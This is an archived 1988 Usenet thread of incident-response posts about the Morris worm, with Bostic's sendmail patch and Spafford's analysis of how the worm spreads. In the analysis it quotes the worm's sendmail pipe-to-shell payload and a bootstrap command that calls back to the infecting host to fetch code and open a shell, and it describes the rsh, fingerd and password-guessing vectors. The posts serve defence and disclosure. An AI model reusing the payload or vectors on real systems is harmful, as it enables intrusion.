
page mail help top logout set done add_article scan read subscribe 
unsubscriber Read article (Usenet).1 Virus (READ THIS IMMEDIATELY) 
11/3/88 02:58 bostic@okeeffe.Berkeley.EDU (Keith Bostic) 
Lines 1 to 12 of 109 (11%) 
----- 
 
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 
Subject: Fixes for the virus 
Index: usr.lib/sendmail/src/srvrsmtp.c 4BSD 
 
Description: 
There's a virus running around; the salient facts.  A bug in sendmail has been 
used to introduce a virus into a lot of Internet UNIX systems.  It has not been 
observed to damage the host system, however, it's incredibly virulent, 
attempting to introduce itself to every system it can find.  It appears to use
rsh, broken passwords, and send mail to introduce itself into the target 
systems.  It affects only VAXen and Suns, as far as we know. 
 
        There are three changes that we believe will immunize your 
        system.  They are attached. 
 
        Thanks to the Experimental Computing Facility, Center for Disease 
        Control for their assistance.  (It's pretty late, and they certainly 
        deserved some thanks, somewhere!) 
Fix:
First, either recompile or patch sendmail to disallow the `debug'option.  If
you have source, recompile sendmail after first applying the following patch
to the module svrsmtp.c: 
*** /tmp/d22039 Thu Nov  3 02:26:20 1988        
--- srvrsmtp.c  Thu Nov  3 01:21:04 1988        
****************** 85,92 ****                "onex",         CMDONEX,
# ifdef DEBUG        "showq",        CMDDBGQSHOW,-       "debug",CMDDBGDEBUG, 
# endif DEBUG          
# ifdef WIZ           "kill",         CMDDBGKILL, 
# endif WIZ --- 85,94 ----        "onex",         CMDONEX,  
# ifdef DEBUG         "showq",CMDDBGQSHOW,  
# endif DEBUG+ 
# ifdef notdef+       "debug",CMDDB GDEBUG,+ 
# endif notdef  
# ifdef WIZ      "kill",CMDDBGKILL,endif 

Then, reinstall sendmail, refreeze the configuration file, using the command 
"/usr/lib/sendmail -bz", kill any running sendmail's, using the ps(1) command
and the kill(1) command, and restart your sendmail.  To find out how sendmail 
is execed on your system, use grep(1) to find the sendmail startline in either
the files /etc/rc or /etc/rc.localIf you don't have source, apply the following
patch to your sendmail binary.  SAVE A COPY OF IT FIRST, IN CASE YOU MESSUP!
This is mildly tricky -- note, some versions of strings(1),which we're going 
to use to find the offset of the string "debug" in the binary print out the 
offsets in octal, not decimal.  Run the following shell line to decide how 
your version of strings (1) works: /bin/echo 'abcd' | /usr/ucb/strings -o 
Note, make sure the eight control 'G's are preserved in this .  If this 
command results in something like:        0000008 abcd 
your strings (1) command prints out locations in decimal, else it's octal. 
The patch script for sendmail.  NOTE, YOUR OFFSETS MAY VARY!!  This script 
assumes that your strings (1) command prints out the offsets in decimal. 
Script started on Thu Nov  3 02:08:14 1988  
okeeffe:tmp {2} strings -o -a /usr/lib/sendmail | egrep debug   0096972 
debugokeeffe:tmp {3} adb -w /usr/lib/sendmail?m 0 0xffffffff 00t10$d        
radix=10 base ten        96972?s96972:debug        9 
6972?w 0        96972:          25701   =       0 
okeeffe:tmp {4} ^Dscript done on Thu Nov  3 02:09:31 1988 If your strings(1) 
command prints out the offsets in octal,change the line "0t10$d" to "0t8$d".
After you've fixed send mail, move both /bin/cc and /bin/ld to something else.
(The virus uses the cc and the ld commands to rebuild itself to run on your 
system.) Finally, kill any processes on your system that don't belong there.
Suspicious ones have "(sh)" or "xNNNNNNN" where the N's are random digits, as 
the command name on the ps (1) output line. 
One more thing, if you find files in /tmp or /usr/tmp thathave names like 
"xNNNNNN,l1.c", or "xNNNNNN,sun3.o", or"xNNNNNNN,vax.o" where the N's are 
random digits you've beeninfected. 
 
 Article menu/Re: The virus.391 
0 -   11/3  11:58 24   news@cs.purdue.EDU (News Kno: Re: The virus 
1 -   11/3  17:11 140  spaf@cs.purdue.edu (Gene Spa: Re: The virus 
2 -   11/3  17:18 6    mlandau@bbn.com (Matt Landau: Re: The virus 

 Re: The virus 
11/3/88 11:58 news@cs.purdue.EDU (News Knower) 
----- 
The patch from Keith Bostic in the last message is *not* sufficient to 
halt the spread of the virus.  We have discovered from looking at the 
binaries that the virus also attempts to spread itself via "rsh" 
commands to other machines.  It looks through a *lot* of files to find 
possible vectors to spread. 
 
If you have a bunch of machines with hosts.equiv set or .rhosts files, 
you should shut them *all* down at the same time after you have fixed 
sendmail to prevent a further infestation.  If you don't clear out 
the versions in memory, you won't protect your other machines. 
 
The virus runs itself with the name "sh" and then overwrites argv, 
so if a "ps ax" shows any processes named "(sh)" without a controlling 
tty, you have a problem.  Due to the use of other uids from rsh, 
don't make any conclusions if the uid is one of your normal users. 
Also, check your mailq (do a mailq command).  If you see any entries 
that pipe themselves through sed and sh, delete them from the queue 
before you restart your machines. 
Non-internet sites do not need to worry about this virus (for now!), 
but be aware that mail and news may not be flowing everywhere for some 
time -- many sites are disconnecting from the Internet completely 
until the virus is contained. 
 
This is an updated description of how the worm works (note: it is 
technically a worm, not a virus, since it does not attach itself 
to other code {that we know about}): 
 
 
All of our Vaxen and some of our Suns here were infected with the 
worm.  The worm forks repeated copies of itself as it tries to spread 
itself, and the load averages on the infected machines skyrocketed.  In 
fact, it got to the point that some of the machines ran out of swap 
space and kernel table entries, preventing login to even see what was 
going on! 
 
The worm seems to consist of two parts.  The way that it works is as 
follows: 
 
1) Virus running on an infected machine opens a TCP connection to a 
victim machine's sendmail, invokes debug mode, and submits a version 
of itself as a mail message. 
*OR* it uses rsh to create itself on the remote machine through 
an account requiring no password (due to hosts.equiv or .rhosts 
entries). 
 
Using the sendmail route, it does something like: 
From: /dev/null 
To: "|sed -e 1,/^$/d | sh; exit 0" 
 
cd /usr/tmp 
cat > x14481910.c <<'EOF' 
<text of program deleted? 
EOF 
cc -o x14481910 x14481910.c;x14481910 128.10.2.215 32341 8712440;
rm -f x14481910 x14481910.c 
 
2) This program is a simple "listener" or "helper" program  of a few 
dozen lines of fairly simple code.  As you can see, the helper is 
invoked with arguments pointing back at the infecting worm (giving 
host id/socket/checksum(?) as arguments). 
 
3) The helper then connects to the "server" and copies a number of 
files (presumably to /tmp).  After the files are copied, it exec's a 
shell with standard input coming from the infecting worm program on 
the other end of the socket. 
 
From here, I speculate on what happens since I can't find the source to 
this part lying around on our machines: 
 
4) The newly exec'd shell attempts to compile itself from the files 
copied over to the target machine.  The command file it uses is as 
follows: 
 
PATH=/bin:/usr/bin:/usr/ucb 
rm -f sh 
if [ -f sh ] 
then 
P=x%d 
else 
P=sh 
cc -o $P %s 
/bin/echo %s 
./$P -p $$ 
 
5) This creates and dispatches the new worm..  This worm opens all the 
worm source files, then unlinks the files so they can't be found (since 
it has them open, however, it can still access the contents).  Next, 
the worm steps through the hosts file (on the Sun, it uses YP to step 
through the distributed hosts file) trying to connect to other 
machines' sendmail.  If a connection succeeds, it forks a child process 
to infect it, while the parent continues to attempt infection of other 
machines. 
 
7) The child requests and initializes a new socket, then builds 
and invokes a listener with the new socket number and hostid as 
arguments (#1, above). 
 
Other notes: 
 
The worm runs in stages.  It first collects info from the /etc/hosts 
files, the hosts.equiv file, and other files containing host names and 
host IP addresses.  It even runs netstat to find out what networks the 
machine is attached to!  It uses this information to attempt to 
penetrate sendmail on those machines.  It also knows how to penetrate 
"fingerd" on Vaxen (on Suns, the attempt results in a core dump).  I 
will privately tell individuals how to fix the bug in fingerd, but for 
now change it so it does not run as "root". 
 
After this first stage, it appears to sleep for a while.  Then it starts 
collecting user names and it begins probing with "rsh".  I believe it 
also permutes either an internal list of words, or it uses the names 
from passwd, but it also tries to see if it can break any of the 
passwords for local accounts; if so, if forks a child to use telnet 
to break into that account and copy itself. 
 
It tries to copy itself to other systems using rsh, fingerd, and 
possibly also uucp and/or ftp. 
 
As I write this, no one seems to know what it is supposed to eventually 
do.  Perhaps it just breaks in everywhere it can.  I wonder if 
it isn't just going to wait until some compiled-in time and then 
run an "rm -rf /" or something similar (and awful).  Has anyone noticed 
new files in /usr/spool/at or included in /usr/lib/crontab? 
 
Other notes: 
 
The program corrupts its argument vector, so it appears in a "ps ax" 
as "(sh)" (a login shell).  Don't trust any of these if you have 
them running. 
 
The program doesn't copy around source files (except the helper) -- 
it copies around pre-compiled binaries that are linked on the local 
machine and then run.  The worm appears to only be carrying binaries 
for 68020-based Suns and Vax 7xx machines.  Pyramids, Sun 2's and 
Sequents are all definitely immune. 
 
The strings in the binaries are encrypted against a random "strings" 
invocation.  If you have a binary, Keith Bostic informs me that 
Xor with 0x81 will reveal interesting things, although that is not 
the only mask used. 
 
The first observation of the virus I have heard about was 6pm 
Wednesday night in Pittsburgh.  It didn't hit Purdue until about 
4 this morning. 
 
 
I will update you with any further information I may find. 
If you forward whatever information you find, I will try to 
collate it. 
--spaf 

Acknowledgements:  Some of the above information was obtained from 
Brian Kantor (UCSD), Keith Bostic (UCB), Thomas Narten (Purdue), 
Dan Trinkle (Purdue), and Miek Rowan (Purdue).  Thanks, guys. 
-- 
Gene Spafford 
NSF/Purdue/U of Florida  Software Engineering Research Center, 
Dept. of Computer Sciences, Purdue University, W. Lafayette IN 47907-2004 
Internet:  spaf@cs.purdue.edu   uucp:   ...!{decwrl,gatech,ucbvax}!purdue!spaf 
 Article menu/A worm preventer!.392 
0 -   11/3  22:26 48   spaf@cs.purdue.edu (Gene Spa: A worm preventer! 
----- 
 Read article (Usenet).1 A worm preventer! 
11/3/88 22:26 spaf@cs.purdue.edu (Gene Spafford) 
----- 
FLASH!! 
 
Kevin ("Adb's your friend.") Braunsdorf  of Purdue CC just burst into 
my office with a cure discovered in the disassembled worm binary. 
 
If there is an external variable in the library named "pleasequit" that 
is non-zero, the worm will die immediately after starting.  Thus, to 
kill any new worms, include a patch in your library that defines the 
symbol.  The following shell file and source code will modify your C 
library to define this symbol. 
 
It WON'T kill any currently linked and running versions, but it should 
prevent reinfection.  If you install this and a reinfection occurs, 
please notify us all immediately! 
 
 
# Shar archive.  Give the following as input to /bin/sh 
#  Packed Thu Nov  3 21:56:35 EST 1988 by spaf@uther.cs.purdue.edu 
# 
#  This archive contains: 
#       foo.sh 
#       foo.c 
# 
# 
echo x - foo.sh 
sed 's/^X//' >foo.sh <<'*-*-END-of-foo.sh-*-*' 
Xcc -c foo.c -o foo.o 
Xcp /lib/libc.a /lib/libc.a.old 
Xar q /lib/libc.a foo.o 
Xranlib /lib/libc.a 
*-*-END-of-foo.sh-*-* 
echo x - foo.c 
sed 's/^X//' >foo.c <<'*-*-END-of-foo.c-*-*' 
Xint pleasequit = -1; 
*-*-END-of-foo.c-*-* 
exit 
-- 
Gene Spafford 
NSF/Purdue/U of Florida  Software Engineering Research Center, 
Dept. of Computer Sciences, Purdue University, W. Lafayette IN 47907-2004 
Internet:  spaf@cs.purdue.edu   uucp:   ...!{decwrl,gatech,ucbvax}!purdue!spaf 
0 -   11/3  22:26 48   spaf@cs.purdue.edu (Gene Spa: A worm preventer! 
 


